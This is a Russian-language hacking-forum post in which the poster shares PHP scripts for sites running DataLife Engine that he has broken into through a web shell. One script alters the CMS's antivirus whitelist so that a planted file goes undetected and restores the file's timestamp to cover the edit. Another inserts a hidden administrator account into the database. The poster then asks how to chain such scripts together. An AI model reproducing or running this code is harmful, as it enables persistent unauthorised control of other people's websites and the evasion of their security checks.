
07.11.2011, 13:51
|
|
Познающий
Регистрация: 20.10.2010
Сообщений: 61
Провел на форуме: 19136
Репутация:
0
|
|
Прошу больно не пинать, вопрос скорей не по шеллу, а по выполнению в шелле php скриптов..
Мне часто "попадаются" сайты на движке DLE, поэтому замутил для себя несколько простеньких скриптов для экономия времени..
Прячем файлы от встроенного антивируса:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]//AV hide
[/COLOR][COLOR="#0000BB"]$antivir[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'../ajax/antivirus.php'[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$time_create[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]filemtime[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$antivir[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$text[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]file_get_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$antivir[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]fopen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$antivir[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'w'[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$text[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'"./engine/inc/search.php",'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'"./engine/inc/search.php",
"./engine/ajax/view.php",'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$text[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]fwrite[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$text[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]fclose[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$file[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$res[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]touch[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$antivir[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$time_create[/COLOR][COLOR="#007700"]);
echo[/COLOR][COLOR="#DD0000"]"AV - ok :)"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#FF8000"]// end //[/COLOR][/COLOR]
Создаём админа
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#FF8000"]//adm
[/COLOR][COLOR="#0000BB"]ob_start[/COLOR][COLOR="#007700"]();
[/COLOR][COLOR="#0000BB"]define[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"DATALIFEENGINE"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"1"[/COLOR][COLOR="#007700"]);
include([/COLOR][COLOR="#DD0000"]"../classes/mysql.class.php"[/COLOR][COLOR="#007700"]);
include([/COLOR][COLOR="#DD0000"]"dbconfig.php"[/COLOR][COLOR="#007700"]);
include([/COLOR][COLOR="#DD0000"]"config.php"[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]mysql_connect[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]DBHOST[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]DBUSER[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]DBPASS[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]mysql_select_db[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]DBNAME[/COLOR][COLOR="#007700"]);
@[/COLOR][COLOR="#0000BB"]set_time_limit[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$update[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"INSERT INTO `"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]PREFIX[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"_users` ( `email` , `password` , `name`, `user_group` ) VALUES ('my@mail.com', '14e1b600b1fd579f47433b88e8d85291', 'adm', '1')"[/COLOR][COLOR="#007700"]);
echo[/COLOR][COLOR="#DD0000"]"adm in DB - ok :)"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#FF8000"]// end //[/COLOR][/COLOR]
и много других...
Как все эти скрипты реализовать в одном?
Т.е. выполнился первый, если выдал результат "ок" - переходим ко второму и т.д.
Если произошла ошибка - останавливаем и выводим на экран..
Знаю что реализуется условиями, но не пойму как сделать. Пых начал изучать недавно...
|
|
|